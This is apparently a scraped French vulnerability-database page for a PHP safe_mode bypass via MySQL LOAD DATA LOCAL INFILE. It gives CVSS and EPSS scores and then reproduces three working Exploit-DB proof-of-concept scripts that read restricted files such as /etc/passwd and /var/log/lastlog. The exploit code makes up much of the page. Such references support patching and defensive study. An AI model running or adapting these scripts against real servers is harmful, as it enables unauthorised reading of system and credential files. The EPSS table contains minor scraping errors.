CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Safe Mode feature (safe_mode) in PHP 3.0 through 4.1.0 allows attackers with access to the MySQL database to bypass Safe Mode access restrictions and read arbitrary files using "LOAD DATA INFILE LOCAL" SQL statements.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.11%
–
–
2022-03-13
–
–
1.11%
–
–
2022-04-03
–
–
1.11%
–
–
2022-06-26
–
–
1.11%
–
–
2022-09-18
–
–
1.11%
–
–
2023-02-12
–
–
1.11%
–
–
2023-03-12
–
–
–
0.39%
–
2023-06-11
–
–
–
0.39%
–
2023-12-31
–
–
–
0.39%
–
2024-02-11
–
–
–
0.39%
–
2024-04-07
–
–
–
0.3%
–
2024-06-02
–
–
–
0.3%
–
2024-06-09
–
–
–
0.3%
–
2024-12-22
–
–
–
0.3%
–
2025-02-16
–
–
–
0.3%
–
2025-01-19
–
–
–
0.3%
–
2025-02-16
–
–
–
0.3%
–
2025-03-18
–
–
–
–
4.72%
2025-03-30
–
–
–
–
5.45%
2025-03-30
–
–
–
–
5.45,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2002-02-02 23h00 +00:00 Auteur : Dave Wilson EDB Vérifié : Yes
<?php
/*
source: https://www.securityfocus.com/bid/4026/info
PHP's 'safe_mode' feature may be used to restrict access to certain areas of a filesystem by PHP scripts. However, a problem has been discovered that may allow an attacker to bypass these restrictions to gain unauthorized access to areas of the filesystem that are restricted when PHP 'safe_mode' is enabled.
In particular, the MySQL client library that ships with PHP fails to properly honor 'safe_mode'. As a result, a user can issue a LOAD DATA statement to read files that reside in restricted areas of the filesystem (as determined by 'safe_mode').
*/
/*
PHP Safe Mode Problem
This script will connect to a database server running locally or
otherwise,
create a temporary table with one column, use the LOAD DATA statement
to
read a (possibly binary) file, then reads it back to the client.
Any type of file may pass through this 'proxy'. Although unrelated,
this
may also be used to access files on the DB server (although they must
be
world-readable or in MySQLd's basedir, according to docs).
*/
$host = 'localhost';
$user = 'root';
$pass = 'letmein';
$db = 'test_database';
$filename = '/var/log/lastlog'; /* File to grab from [local] server */
$local = true; /* Read from local filesystem */
$local = $local ? 'LOCAL' : '';
$sql = array (
"USE $db",
'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
"LOAD DATA $local INFILE '$filename' INTO TABLE $tbl FIELDS "
. "TERMINATED BY '__THIS_NEVER_HAPPENS__' "
. "ESCAPED BY '' "
. "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
"SELECT a FROM $tbl LIMIT 1"
);
Header ('Content-type: text/plain');
mysql_connect ($host, $user, $pass);
foreach ($sql as $statement) {
$q = mysql_query ($statement);
if ($q == false) die (
"FAILED: " . $statement . "\n" .
"REASON: " . mysql_error () . "\n"
);
if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
echo $r [0];
mysql_free_result ($q);
}
Date de publication : 2002-02-02 23h00 +00:00 Auteur : anonymous EDB Vérifié : Yes
<?php
/*
source: https://www.securityfocus.com/bid/4026/info
PHP's 'safe_mode' feature may be used to restrict access to certain areas of a filesystem by PHP scripts. However, a problem has been discovered that may allow an attacker to bypass these restrictions to gain unauthorized access to areas of the filesystem that are restricted when PHP 'safe_mode' is enabled.
In particular, the MySQL client library that ships with PHP fails to properly honor 'safe_mode'. As a result, a user can issue a LOAD DATA statement to read files that reside in restricted areas of the filesystem (as determined by 'safe_mode').
*/
file_get_contents('/etc/passwd');
$l = mysql_connect("localhost", "root");
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'");
mysql_close($l); mysql_connect("localhost", "aaaa");
mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))
print $row . chr(10);
?>
Date de publication : 2002-02-02 23h00 +00:00 Auteur : anonymous EDB Vérifié : Yes
<?php
/*
source: https://www.securityfocus.com/bid/4026/info
PHP's 'safe_mode' feature may be used to restrict access to certain areas of a filesystem by PHP scripts. However, a problem has been discovered that may allow an attacker to bypass these restrictions to gain unauthorized access to areas of the filesystem that are restricted when PHP 'safe_mode' is enabled.
In particular, the MySQL client library that ships with PHP fails to properly honor 'safe_mode'. As a result, a user can issue a LOAD DATA statement to read files that reside in restricted areas of the filesystem (as determined by 'safe_mode').
*/
function r($fp, &$buf, $len, &$err) {
print fread($fp, $len);
}
$m = new mysqli('localhost', 'aaaa', '', 'a');
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler("r");
$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$m->close();
?>